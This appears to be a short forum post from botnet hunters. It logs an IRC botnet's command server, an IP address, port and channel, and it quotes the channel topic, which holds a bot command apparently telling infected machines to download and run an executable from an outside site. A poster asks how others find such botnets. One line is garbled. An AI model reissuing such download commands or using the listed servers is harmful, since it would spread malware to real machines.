95.86.207.142(irc botnet hosted in Russian Federation Yaroslavl’ Ojsc Rostelecom Yaroslavl Branch)

This is another server's wish decoding program
108.170.24.42:4040
room: ##tnt
topic

*** Now talking in ##tnt
*** Topic is '!np http://3rbcool.net/g1.exe DF37A37D9E33FB9904235855863AA5D5 -r'

I hope open Binath the

Hey guys, I was just wondering what method you use to sniff out these botnets? I use to be a sniffer myself, and I use to use threatexpert, they don't seem to have any samples on there anymore, are there any alternative sites, as well as methods? Thanks.